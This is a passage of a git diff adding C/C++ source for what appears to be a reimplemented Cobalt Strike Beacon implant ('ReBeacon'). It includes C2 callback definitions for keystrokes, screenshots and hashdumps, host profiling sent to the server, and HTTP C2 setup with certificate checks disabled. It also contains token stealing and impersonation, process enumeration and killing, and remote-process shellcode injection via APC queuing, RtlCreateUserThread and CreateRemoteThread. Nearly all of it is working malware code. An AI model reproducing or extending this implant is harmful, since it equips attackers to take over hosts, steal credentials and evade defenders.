v1; + pdata1 += v1; + } while (pdata2 < data_Size); + } +} + + +void sub_10001DCD(size_t data_Size, char* data, int type) +{ + if (data_Size <= get_dword(28)) + { + sub_10001287(data, data_Size, type, 1); + } + else + { + sub_10001D10(data_Size, data, type); + } +} + + +/// +/// Beaconִserver +/// +/// +/// +/// +void BeaconTaskOutput(char* data, int len, int type) +{ + if (g_BeaconStart == 1 && get_dword(28))//28ֿʶ + { + sub_10001DCD(len, data, type); + } + else + { + sub_10001287(data, len, type, 0); + } +} + +/// +/// רű +/// +/// +/// +/// +/// +void BeaconTaskErrorOutput(u_long BeaconErrorsType, int err_code_1, u_long err_code_2, char* buffer) +{ + formatp pformatp; + BeaconFormatAlloc(&pformatp, 2048); + BeaconFormatInt(&pformatp, BeaconErrorsType); + BeaconFormatInt(&pformatp, err_code_1); + BeaconFormatInt(&pformatp, err_code_2); + if (buffer) + { + BeaconFormatAppend(&pformatp, buffer, strlen(buffer)); + } + int size = BeaconFormatlength(&pformatp); + char* data = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(data, size, CALLBACK_ERROR); + BeaconFormatFree(&pformatp); +} + +void BeaconTaskError1Output(int BeaconErrorsType, int err_code, char* data) +{ + BeaconTaskErrorOutput(BeaconErrorsType, err_code, 0, data); +} +void BeaconErrorD(int BeaconErrorsType, DWORD error_code) +{ + BeaconTaskErrorOutput(BeaconErrorsType, error_code, 0, 0); +} + +void BeaconErrorNA(int BeaconErrorsType) +{ + BeaconTaskErrorOutput(BeaconErrorsType, 0, 0, 0); +} + +void BeaconErrorDD(int BeaconErrorsType, int err_msg, u_long err_code_msg) +{ + BeaconTaskErrorOutput(BeaconErrorsType, err_msg, err_code_msg, 0); +} + +void BeaconErrorFormat(int BeaconErrorsType, char* Format, ...) +{ + char Buffer[2048]; + va_list ArgList; + + va_start(ArgList, Format); + vsprintf_s(Buffer, 0x800, Format, ArgList); + BeaconTaskErrorOutput(BeaconErrorsType, 0, 0, Buffer); +} diff --git a/ReBeacon_Src/comm.h b/ReBeacon_Src/comm.h new file mode 100644 index 0000000..5d72ab8 --- /dev/null +++ b/ReBeacon_Src/comm.h @@ -0,0 +1,65 @@ +#pragma once +#include "Utils.h" + +#define CALLBACK_OUTPUT 0 +#define CALLBACK_KEYSTROKES 1 +#define CALLBACK_FILE 2 +#define CALLBACK_SCREENSHOT 3 +#define CALLBACK_CLOSE 4 +#define CALLBACK_READ 5 +#define CALLBACK_CONNECT 6 +#define CALLBACK_PING 7 +#define CALLBACK_FILE_WRITE 8 +#define CALLBACK_FILE_CLOSE 9 +#define CALLBACK_PIPE_OPEN 10 +#define CALLBACK_PIPE_CLOSE 11 +#define CALLBACK_PIPE_READ 12 +#define CALLBACK_POST_ERROR 13 +#define CALLBACK_PIPE_PING 14 +#define CALLBACK_TOKEN_STOLEN 15 +#define CALLBACK_TOKEN_GETUID 16 +#define CALLBACK_PROCESS_LIST 17 +#define CALLBACK_POST_REPLAY_ERROR 18 +#define CALLBACK_PWD 19 +#define CALLBACK_JOBS 20 +#define CALLBACK_HASHDUMP 21 +#define CALLBACK_PENDING 22 +#define CALLBACK_ACCEPT 23 +#define CALLBACK_NETVIEW 24 +#define CALLBACK_PORTSCAN 25 +#define CALLBACK_DEAD 26 +#define CALLBACK_SSH_STATUS 27 +#define CALLBACK_CHUNK_ALLOCATE 28 +#define CALLBACK_CHUNK_SEND 29 +#define CALLBACK_OUTPUT_OEM 30 +#define CALLBACK_ERROR 31 +#define CALLBACK_OUTPUT_UTF8 32 + +typedef struct { + char* httpHeaders; /* httpHeaders */ + char* field_1; /* ʱδ֪ */ + char* httpGetUrl; /*http geturl*/ + char* HttpOptional; /* HttpSendRequestA Optionalѡ */ + DWORD HttpOptionalLength; /* OptionalѡС */ + DWORD encrypt_Metadata_size; /*ܺԪݴС*/ + char* encrypt_Metadata_Ptr; /*ָԪݵָ*/ + char* Encoding_Encrypt_Metadata_Ptr; /*c2ñļԪָ*/ + datap* pdatap; +} BeaconHttpRequest; + +extern char* gBeaconOutputData; + +void sned_beacon_data(char* data); + +int call_send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size); + +void BeaconTaskOutput(char* data, int len, int type); + +void BeaconTaskError1Output(int BeaconErrorsType, int err_code, char* data); + +void BeaconErrorD(int BeaconErrorsType, DWORD error_code); + +void BeaconErrorNA(int BeaconErrorsType); + +void BeaconErrorDD(int BeaconErrorsType, int err_msg, u_long err_code_msg); +void BeaconErrorFormat(int BeaconErrorsType, char* Format, ...); \ No newline at end of file diff --git a/ReBeacon_Src/common.cpp b/ReBeacon_Src/common.cpp new file mode 100644 index 0000000..7311914 --- /dev/null +++ b/ReBeacon_Src/common.cpp @@ -0,0 +1,1393 @@ +#include "common.h" +#include "comm.h" +#include "BeaconInject.h" +#include "Beaconrportfwd.h" + +BOOL X86orX64() +{ +#ifdef _WIN64 + return 1; +#else + return 0; +#endif // _WIN64 +} + +/// +/// жϵͳܹ +/// +/// +/// +int Is_Wow64(HANDLE hProcess) +{ + HMODULE kernel32base; + BOOL(__stdcall * IsWow64Process)(HANDLE, PBOOL); + int result; + int v4 = 0; + kernel32base = GetModuleHandleA("kernel32"); + IsWow64Process = (BOOL(__stdcall*)(HANDLE, PBOOL))GetProcAddress(kernel32base, "IsWow64Process"); + if (!IsWow64Process || (result = IsWow64Process(hProcess, &v4)) != 0) + { + result = v4; + } + return result; +} + +/// +/// жǷǹԱȨ +/// +/// +BOOL is_admin() +{ + struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; + + PSID pSid; + + BOOL IsMember; + + pIdentifierAuthority.Value[0] = 0; + pIdentifierAuthority.Value[1] = 0; + pIdentifierAuthority.Value[2] = 0; + pIdentifierAuthority.Value[3] = 0; + pIdentifierAuthority.Value[4] = 0; + pIdentifierAuthority.Value[5] = 5; + IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid); + if (!IsMember) + { + return IsMember; + } + if (!CheckTokenMembership(0, pSid, &IsMember)) + { + IsMember = 0; + } + FreeSid(pSid); + return IsMember; +} + +/// +/// dnsǷ +/// +void init_socket_options() +{ + struct WSAData WSAData; + + + if (init_WSA != 1) // //жǷʼ + { + if (WSAStartup(0x202u, &WSAData) < 0) + { + WSACleanup(); + exit(1); + } + init_WSA = 1; + //csɰ汾 + dns_sleep = get_dword(20); // .dns-beacon.dns_sleep + dns_idle = get_dword(19); // .dns-beacon.dns_idle + dns_get_A = get_str(61); // .dns-beacon.get_A + dns_get_AAAA = get_str(62); // .dns-beacon.get_AAAA + dns_get_TXT = get_str(63); // .dns-beacon.get_TXT + dns_Listeneroptions_dnsresolver = get_str(66);// dnsѡdnsresolver + } +} + + +int get_pc_ip(char* name) +{ + struct hostent* phostent; + char** h_addr_list; + int result; + + + init_socket_options(); + if (!gethostname(name, 256) + && (phostent = gethostbyname(name)) != 0 + && phostent->h_addrtype == AF_INET + && (h_addr_list = phostent->h_addr_list, *h_addr_list)) + { + result = *(DWORD*)*h_addr_list; // ֽIP + } + else + { + result = 0; + } + return result; +} + +/// +/// ȡpcϢ浽Ԫ +/// +/// +void get_pc_info(beaconmetadata* pmetadata) +{ + LPOSVERSIONINFOA lpVersionInformation; + + int Buffer_len; + char* Buffer; + + int hostinfo; + + CHAR* ComputerName; + CHAR* UserName; + char* lpFilename; + const char* ProcessName; + + DWORD BufferSize; + datap* pdatap; + + pdatap = (datap*)BeaconDataInit(0x494); + lpVersionInformation = (LPOSVERSIONINFOA)BeaconDataPtr(pdatap, 148); + Buffer = (char*)BeaconDataPtr(pdatap, 256); + ComputerName = (char*)BeaconDataPtr(pdatap, 256); + UserName = (char*)BeaconDataPtr(pdatap, 256); + lpFilename = (char*)BeaconDataPtr(pdatap, 256); + + BufferSize = 256; + GetUserNameA(UserName, &BufferSize); + BufferSize = 256; + GetComputerNameA(ComputerName, &BufferSize); + hostinfo = get_pc_ip(lpFilename); + + char* temp; + if (!GetModuleFileNameA(0, lpFilename, 0x100) + || (temp = strrchr(lpFilename, 92)) == 0 + || (ProcessName = temp + 1, temp == (char*)-1)) + { + ProcessName = ""; + } + lpVersionInformation->dwOSVersionInfoSize = 148; + GetVersionExA(lpVersionInformation); + g_dwMajorVersion = lpVersionInformation->dwMajorVersion; + BeaconMetadataPush_1(g_dwMajorVersion, pmetadata); + BeaconMetadataPush_1(lpVersionInformation->dwMinorVersion, pmetadata); + BeaconMetadataPush_2(LOWORD(lpVersionInformation->dwBuildNumber), pmetadata); +#ifdef _WIN64 + uint64 p = (ULONG64)GetProcAddress; + BeaconMetadataPush_4(HIDWORD(p),pmetadata); + BeaconMetadataPush_4((u_long)GetModuleHandleA, pmetadata); + BeaconMetadataPush_4((u_long)GetProcAddress, pmetadata);// ѺҪĺַҲ +#else + BeaconMetadataPush_4(0, pmetadata); + BeaconMetadataPush_4((ULONG)GetModuleHandleA, pmetadata); + BeaconMetadataPush_4((ULONG)GetProcAddress, pmetadata);// ѺҪĺַҲ +#endif // _WIN64 + + + BeaconMetadataPush_4(hostinfo, pmetadata); + + _snprintf(Buffer, 0x100, "%s\t%s\t%s", ComputerName, UserName, ProcessName);// û + Buffer_len = strlen(Buffer); + if (Buffer_len > 58) + { + Buffer_len = 58; // ܳ58ֽ + } + + BeaconMetadataPush_N(Buffer_len, pmetadata, Buffer); + BeaconDataFree(pdatap); +} + +/// +/// ȫbeaconTokenHandle +/// +HANDLE pTokenHandle; + +/// +/// win http flags +/// +DWORD g_dwFlags; + +/// +/// +/// +HINTERNET g_hInternet; + +/// +/// +/// +HINTERNET g_hConnect; + +/// +/// +/// +DWORD_PTR g_dwContext; + +/// +/// رtokenα +/// +void close_token_fake() +{ + if (pTokenHandle) + { + RevertToSelf(); + } +} + +/// +/// tokenα +/// +/// +void restore_token_fake() +{ + if (pTokenHandle) + { + ImpersonateLoggedOnUser(pTokenHandle); + } +} +void set_winit_http(LPCSTR lpszServerName, INTERNET_PORT ServerPort, LPCSTR lpszAgent) +{ + int Proxyset; + HINTERNET hInternet; + HINTERNET hConnect; + char* username_str; + char* password_str; + char* ProxyStrBuffer; + unsigned int username_str_len; + unsigned int password_str_len; + int lpBuffer; + + lpBuffer = 240000; + close_token_fake(); + //0x84400200 INTERNET_FLAG_KEEP_CONNECTION| INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_RELOAD| INTERNET_FLAG_NO_UI + //0x84C03200 INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_NO_UI + //0x00800000 INTERNET_FLAG_SECURE + + g_dwFlags = (get_short(1) & 8) != 8 ? 0x84400200 : 0x84C03200; + if (get_short(50) == 1) + { + g_dwFlags |= INTERNET_FLAG_NO_COOKIES; + } + Proxyset = get_short(35); // жǷҪhttp + if (Proxyset) + { + if (!Proxyset - 1) + { + hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0); + goto LABEL_8; + } + + if (!Proxyset - 2) + { + hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); + goto LABEL_8; + } + if (Proxyset - 2 != 2) + { + goto LABEL_9; + } + } + ProxyStrBuffer = get_str(32); + hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_PROXY, ProxyStrBuffer, 0, 0); +LABEL_8: + g_hInternet = hInternet; +LABEL_9: + InternetSetOptionA(g_hInternet, INTERNET_OPTION_SEND_TIMEOUT, &lpBuffer, 4u); + InternetSetOptionA(g_hInternet, INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, &lpBuffer, 4u); + hConnect = InternetConnectA(g_hInternet, lpszServerName, ServerPort, 0, 0, INTERNET_SERVICE_HTTP, 0, g_dwContext); + g_hConnect = hConnect; + if (get_short(35) == 4) + { + username_str_len = get_str_config_len(33); + username_str = get_str(33); + InternetSetOptionA(hConnect, INTERNET_OPTION_PROXY_USERNAME, username_str, username_str_len); + password_str_len = get_str_config_len(34); + password_str = get_str(34); + InternetSetOptionA(g_hConnect, INTERNET_OPTION_PROXY_PASSWORD, password_str, password_str_len); + } + + restore_token_fake(); + return; +} + + +void __stdcall fnInternetCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength) +{ + char* lpszHeaders; + + if (dwInternetStatus == 21) + { + lpszHeaders = get_str(59); + HttpAddRequestHeadersA(hInternet, lpszHeaders, 0xFFFFFFFF, 0x80000000); + } +} + +void set_http_opt(HINTERNET hInternet) +{ + + int Buffer = 0; + //SECURITY_FLAG_IGNORE_CERT_CN_INVALID| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID| SECURITY_FLAG_IGNORE_WRONG_USAGE| SECURITY_FLAG_IGNORE_UNKNOWN_CA| SECURITY_FLAG_IGNORE_REVOCATION + if ((get_short(1) & 8) != 0) + { + DWORD dwBufferLength = 4; + InternetQueryOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &Buffer, &dwBufferLength); + Buffer |= 0x3380u; + InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &Buffer, 4); + } + if (get_str(59)) + { + InternetSetStatusCallback(hInternet, fnInternetCallback); + } +} + +/// +/// жhttp󷵻Ƿɹ +/// +/// +/// +BOOL verify_http_200(HINTERNET hRequest) +{ + BOOL state; + char Buffer[256] = {0}; + DWORD dwBufferLength; + + dwBufferLength = 256; + state = HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, Buffer, &dwBufferLength, 0); + if (state) + { + state = atoi(Buffer) == 200; + } + return state; +} + +//************************************ +// Method: isEnableBlockDLL +// FullName: isEnableBlockDLL +// Access: public +// Returns: int +// Qualifier:жǷʹBlockDLLPPID +// Parameter: int PPID +//************************************ +int isPPIDAndBlockDLL(int PPID) +{ + if (PPID) + { + if (gBeaconBlockDLL == 1) + { + return 2; + } + } + else if (!gBeaconBlockDLL) + { + return 0; + } + return 1; +} + +BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max) +{ + unsigned int size; + + size = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0); + if (size == -1 || size >= max) + { + return 0; + } + MultiByteToWideChar(0, 0, lpMultiByteStr, -1, lpWideCharStr, max); + return 1; +} + +int is_process_arch(HANDLE hProcess) +{ + HANDLE self_process; + int result; + + if (X86orX64()) + { + return Is_Wow64(hProcess) == 0; + } + self_process = GetCurrentProcess(); + result = Is_Wow64(self_process); + if (result) + { + return Is_Wow64(hProcess) == 0; // 32-bit 64-bit TRUE + // ret FALSE + } + return result; // 64-bit 64-bit FALSE + // 32-bit 32-bit FALSE + // ret TRUE +} + + _PROC_THREAD_ATTRIBUTE_LIST* CreateProcessAttributeList(DWORD dwAttributeCount) +{ + + ULONG_PTR Size = 0; + InitializeProcThreadAttributeList(0, dwAttributeCount, 0, &Size); + _PROC_THREAD_ATTRIBUTE_LIST* lpAttributeList = (_PROC_THREAD_ATTRIBUTE_LIST*)HeapAlloc(GetProcessHeap(), 0, Size); + if (lpAttributeList && InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, 0, &Size)) + { + return lpAttributeList; + } + else + { + return 0; + } +} + +void BeaconcloseHandle(BeaconCreateprocess* pBeaconCreateprocess) +{ + CloseHandle(pBeaconCreateprocess->process); +} + +void BeaconSetErrorMode(BeaconCreateprocess* pBeaconCreateprocess) +{ + SetErrorMode(pBeaconCreateprocess->SetErrorMode_value); +} + +void BeaconcloseAllHandle(_PROCESS_INFORMATION* pi) +{ + if (pi->hProcess != (HANDLE)-1 && pi->hProcess) + { + CloseHandle(pi->hProcess); + } + if (pi->hThread != (HANDLE)-1) + { + if (pi->hThread) + { + CloseHandle(pi->hThread); + } + } +} + +BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) +{ + return CreateRemoteThread(hProcess, 0, 0, lpStartAddress, lpParameter, 0, 0) != 0; +} + +BOOL BeaconCreateThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) +{ + return CreateThread(0, 0, lpStartAddress, lpParameter, 0, 0) != 0; +} + +BOOL BeaconRtlCreateUserThread(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter) +{ + auto ntdllbase = GetModuleHandleA("ntdll.dll"); + RtlCreateUserThread_t RtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(ntdllbase, "RtlCreateUserThread"); + if (!RtlCreateUserThread) + { + return 0; + } + HANDLE ThreadHandle; + CLIENT_ID pCLIENT_ID; + RtlCreateUserThread(hProcess, 0, 0, 0, 0, 0, BaseAddress, lpParameter, &ThreadHandle, &pCLIENT_ID); + return ThreadHandle != 0; +} + +#pragma pack(1) +typedef struct { + char field_0[sizeof(sub_10033070)]; + HANDLE hProcess; + DWORD field_12D; + PVOID StartAddress; + DWORD field_135; + PVOID lpParameter; + DWORD field_13D; + HANDLE hThread; + DWORD field_145; +}BeaconShellcode; +#pragma pack() + +int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter) +{ + + OSVERSIONINFOA VersionInformation = { 0 }; + VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); + if (!GetVersionExA(&VersionInformation)) + { + return 0; + } + if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2) + { + SetLastError(5); + return 0; + } + char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpAddress) + { + return 0; + } + BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpAddress2) + { + VirtualFree(lpAddress, 0, MEM_RELEASE); + return 0; + } + memcpy(lpAddress, sub_10033020, sizeof(sub_10033020)); + memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070)); + + lpAddress2->hThread = 0; + lpAddress2->hProcess = hProcess; + lpAddress2->StartAddress = BaseAddress; + lpAddress2->lpParameter = lpParameter; + if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess)) + { + VirtualFree(lpAddress, 0, MEM_RELEASE); + VirtualFree(lpAddress2, 0, MEM_RELEASE); + SetLastError(5); + return 0; + } + if (!lpAddress2->hThread) + { + VirtualFree(lpAddress, 0, MEM_RELEASE); + VirtualFree(lpAddress2, 0, MEM_RELEASE); + SetLastError(6); + return 0; + } + ResumeThread(lpAddress2->hThread); + VirtualFree(lpAddress, 0, MEM_RELEASE); + VirtualFree(lpAddress2, 0, MEM_RELEASE); + return 1; +} + +#pragma pack(1) +typedef struct { + PVOID StartAddress; + PVOID lpParameter; + CreateThread_t pCreateThread; + DWORD field_C; +}BeaconShellcodeinjec; +#pragma pack() + +//⺯ shellcode +void __stdcall sub_10004D1D(BeaconShellcodeinjec* pBeaconShellcodeinjec) +{ + + if (!pBeaconShellcodeinjec->field_C) + { + _TEB* teb = (_TEB*)NtCurrentTeb(); + pBeaconShellcodeinjec->field_C = 1; + if (teb->ActivationContextStackPointer) + { + pBeaconShellcodeinjec->pCreateThread( + NULL, + NULL, + (LPTHREAD_START_ROUTINE)pBeaconShellcodeinjec->StartAddress, + pBeaconShellcodeinjec->lpParameter, + NULL, + NULL); + } + else + { + pBeaconShellcodeinjec->field_C = 0; + } + } +} + +void* sub_10004D53(HANDLE hProcess, int pid, BeaconShellcodeinjec* pBeaconShellcodeinjec) +{ + //עshellcode + char* pshellcode = (char*)malloc((char*)sub_10004D53 - (char*)sub_10004D1D + sizeof(BeaconShellcodeinjec)); + + memcpy((char*)pshellcode + sizeof(BeaconShellcodeinjec), sub_10004D1D, (char*)sub_10004D53 - (char*)sub_10004D1D); + int shellcode_size = (char*)sub_10004D53 - (char*)sub_10004D1D + sizeof(BeaconShellcodeinjec); + char* pshellcodeAddress = (char*)VirtualAllocEx(hProcess, 0, shellcode_size, MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + SIZE_T NumberOfBytesWritten = 0; + if ( pshellcodeAddress + && + WriteProcessMemory(hProcess, pshellcodeAddress, pshellcode, shellcode_size, &NumberOfBytesWritten) + && + NumberOfBytesWritten != shellcode_size) + { + pshellcodeAddress = 0; + } + free(pshellcode); + return pshellcodeAddress; +} + +int sub_10004DDE(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter) +{ + THREADENTRY32 te = { 0 }; + te.dwSize = sizeof(THREADENTRY32); + BeaconShellcodeinjec pBeaconShellcodeinjec; + pBeaconShellcodeinjec.StartAddress = BaseAddress; + pBeaconShellcodeinjec.lpParameter = lpParameter; + pBeaconShellcodeinjec.pCreateThread = CreateThread; + pBeaconShellcodeinjec.field_C = 0; + + NtQueueApcThread_t NtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); + if (!NtQueueApcThread) + { + return 0; + } + char* pshellcodeAddress = (char*)sub_10004D53(pBeaconProcessInject->hProcess, pBeaconProcessInject->Process_PID, &pBeaconShellcodeinjec); + if (!pshellcodeAddress) + { + return 0; + } + HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (!Toolhelp32Snapshot || !Thread32First(Toolhelp32Snapshot, &te)) + { + return 0; + } + do + { + if (te.th32OwnerProcessID == pBeaconProcessInject->Process_PID) + { + HANDLE thread = OpenThread(0x1FFFFF, 0, te.th32ThreadID); + if (thread) + { + NtQueueApcThread(thread, (PIO_APC_ROUTINE)(pshellcodeAddress + 16), pshellcodeAddress,NULL,NULL); + CloseHandle(thread); + } + } + } while (Thread32Next(Toolhelp32Snapshot, &te)); + CloseHandle(Toolhelp32Snapshot); + Sleep(0xC8); + SIZE_T NumberOfBytesRead; + if (!ReadProcessMemory(pBeaconProcessInject->hProcess, pshellcodeAddress, &pBeaconShellcodeinjec, sizeof(BeaconShellcodeinjec), &NumberOfBytesRead) + || NumberOfBytesRead != sizeof(BeaconShellcodeinjec)) + { + return 0; + } + if (!pBeaconShellcodeinjec.field_C) + { + pBeaconShellcodeinjec.field_C = 1; + WriteProcessMemory(pBeaconProcessInject->hProcess, pshellcodeAddress, &pBeaconShellcodeinjec, sizeof(BeaconShellcodeinjec), &NumberOfBytesRead); + return 0; + } + return 1; +} + + +BOOL BeaconNtQueueApcThread(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter) +{ + NtQueueApcThread_t NtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); + return NtQueueApcThread && !NtQueueApcThread(pBeaconProcessInject->hThread, (PIO_APC_ROUTINE)BaseAddress, lpParameter, 0, 0) && ResumeThread(pBeaconProcessInject->hThread) != -1; +} + +void BeaconExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, size_t Size) +{ + DWORD size = ExpandEnvironmentStringsA(lpSrc, 0, 0); + if (size) + { + if (size + 1 < Size) + { + memset(lpDst, 0, Size); + ExpandEnvironmentStringsA(lpSrc, lpDst, size); + } + } +} + +void check_close_token_fake(int ignoreToken) +{ + if (ignoreToken) + { + close_token_fake(); + } +} + +void check_restore_token_fake(int ignoreToken) +{ + if (ignoreToken) + { + restore_token_fake(); + } +} + +int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer) +{ + + CHAR Name[512]; + CHAR ReferencedDomainName[512]; + DWORD cchReferencedDomainName = 512; + + _SID_NAME_USE peUse; + memset(Buffer, 0, BufferSize); + memset(Name, 0, sizeof(Name)); + memset(ReferencedDomainName, 0, sizeof(ReferencedDomainName)); + + DWORD ReturnLength; + PSID TokenInformation[4096]; + DWORD cchName = 512; + if (!GetTokenInformation(TokenHandle, TokenUser, TokenInformation, 0x1000, &ReturnLength) + || !LookupAccountSidA( + 0, + TokenInformation[0], + Name, + &cchName, + ReferencedDomainName, + &cchReferencedDomainName, + &peUse)) + { + return 0; + } + _snprintf(Buffer, BufferSize, "%s\\%s", ReferencedDomainName, Name); + Buffer[BufferSize - 1] = 0; + return 1; +} + +void BeaconSendUserInfo(HANDLE hPrcoess) +{ + u_long Buffer[256]; + char usersid[512]; + + if (get_user_sid(0x200, hPrcoess, usersid)) + { + if (is_admin()) + { + _snprintf((char* const)Buffer, 0x400u, "%s (admin)", usersid); + } + else + { + _snprintf((char* const)Buffer, 0x400u, "%s", usersid); + } + BeaconTaskOutput((char*)Buffer, strlen((char*)Buffer), 0x10); + } +} + + +void beacon_GetUID() +{ + HANDLE TokenHandle; + + if (OpenThreadToken(GetCurrentThread(), 8u, 0, &TokenHandle)) + { + goto LABEL_3; + } + if (OpenProcessToken(GetCurrentProcess(), 8u, &TokenHandle)) + { + LABEL_3: + BeaconSendUserInfo(TokenHandle); + CloseHandle(TokenHandle); + } + else if (pTokenHandle) + { + close_token_fake(); + BeaconSendUserInfo(pTokenHandle); + restore_token_fake(); + } + else + { + BeaconErrorNA(1u); + } +} + +datap* BeaconMaketoken; +void BeaconRevertToken() +{ + if (pTokenHandle) + { + CloseHandle(pTokenHandle); + } + pTokenHandle = 0; + RevertToSelf(); + if (BeaconMaketoken) + { + BeaconDataClear(BeaconMaketoken); + BeaconDataFree(BeaconMaketoken); + lpDomain = 0; + lpWideCharStr = 0; + lpPassword = 0; + BeaconMaketoken = 0; + Create_token_Flag = 0; + } +} + +void beacon_steal_token(char* Taskdata, int Task_size) +{ + + char usersid[0x200]; + HANDLE TokenHandle; + if (Task_size == 4) + { + int pid = ntohl(*(u_long*)Taskdata); + HANDLE hprocess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid); + if (hprocess) + { + if (OpenProcessToken(hprocess, TOKEN_ALL_ACCESS, &TokenHandle)) + { + BeaconRevertToken(); + if (ImpersonateLoggedOnUser(TokenHandle)) + { + if (DuplicateTokenEx(TokenHandle, 0x2000000, 0, SecurityDelegation, TokenPrimary, &pTokenHandle)) + { + if (ImpersonateLoggedOnUser(pTokenHandle)) + { + CloseHandle(hprocess); + if (TokenHandle) + { + CloseHandle(TokenHandle); + } + if (get_user_sid(0x200, pTokenHandle, usersid)) + { + BeaconTaskOutput(usersid, strlen(usersid), 0xF); + } + } + else + { + BeaconErrorDD(0x27, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x26, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x25, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x24, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x21, pid, GetLastError()); + } + } +} + + +BOOL GetProcessUserInfo(HANDLE ProcessHandle, char* usersid) +{ + + HANDLE TokenHandle; + BOOL status = OpenProcessToken(ProcessHandle, 8u, &TokenHandle); + if (status) + { + status = get_user_sid(0x800, TokenHandle, usersid); + CloseHandle(TokenHandle); + return status; + } + return status; +} + +void beacon_ps(char* Taskdata, int Task_size) +{ + + char usersid[2048]; + memset(usersid, 0, sizeof(usersid)); + + datap datap; + BeaconDataParse(&datap, Taskdata, Task_size); + int unknown = BeaconDataInt(&datap); + BeaconFormatAlloc((formatp*)&datap, 0x8000); + if (unknown > 0) + { + BeaconFormatInt((formatp*)&datap, unknown); + } + const char* arch; + if (Is_Wow64(GetCurrentProcess())) + { + arch = "x64"; + } + else + { + arch = "x64"; + if (!X86orX64()) + { + arch = "x86"; + } + } + DWORD pSessionId; + DWORD th32ProcessID; + PROCESSENTRY32 pe; + HANDLE hprocess; + HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0); + if (Toolhelp32Snapshot != (HANDLE)-1) + { + pe.dwSize = sizeof(PROCESSENTRY32); + if (Process32First(Toolhelp32Snapshot, &pe)) + { + do + { + th32ProcessID = pe.th32ProcessID; + hprocess = OpenProcess(g_dwMajorVersion >= 6 ? 4096 : 1024, 0, th32ProcessID); + if (hprocess) + { + if (!GetProcessUserInfo(hprocess, usersid)) + { + usersid[0] = 0; + } + if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId)) + { + pSessionId = -1; + } + const char* arch2 = "x86"; + if (Is_Wow64(hprocess) == 0) + { + arch2 = arch; + } + BeaconFormatPrintf( + (formatp*)&datap, + (char*)"%s\t%d\t%d\t%s\t%s\t%d\n", + pe.szExeFile, + pe.th32ParentProcessID, + pe.th32ProcessID, + arch2, + usersid, + pSessionId); + } + else + { + BeaconFormatPrintf((formatp*)&datap, (char*)"%s\t%d\t%d\n", pe.szExeFile, pe.th32ParentProcessID, pe.th32ProcessID); + } + CloseHandle(hprocess); + } while (Process32Next(Toolhelp32Snapshot, &pe)); + CloseHandle(Toolhelp32Snapshot); + int msg_type; + if (unknown) + { + msg_type = 22; + } + else + { + msg_type = 17; + } + int datalength = BeaconFormatlength((formatp*)&datap); + char* databuffer = BeaconFormatOriginalPtr((formatp*)&datap); + BeaconTaskOutput(databuffer, datalength, msg_type); + BeaconFormatFree((formatp*)&datap); + } + else + { + CloseHandle(Toolhelp32Snapshot); + } + } +} + +void beacon_Kill(char* Taskdata, int Task_size) +{ + datap pdatap = { 0 }; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int pid = BeaconDataInt(&pdatap); + HANDLE hPrcoess = OpenProcess(PROCESS_TERMINATE, 0, pid); + if (!hPrcoess || !TerminateProcess(hPrcoess, 0)) + { + BeaconErrorDD(0x23u, pid, GetLastError()); + } + CloseHandle(hPrcoess); +} + + +int BeaconRunAsProcess( + char* 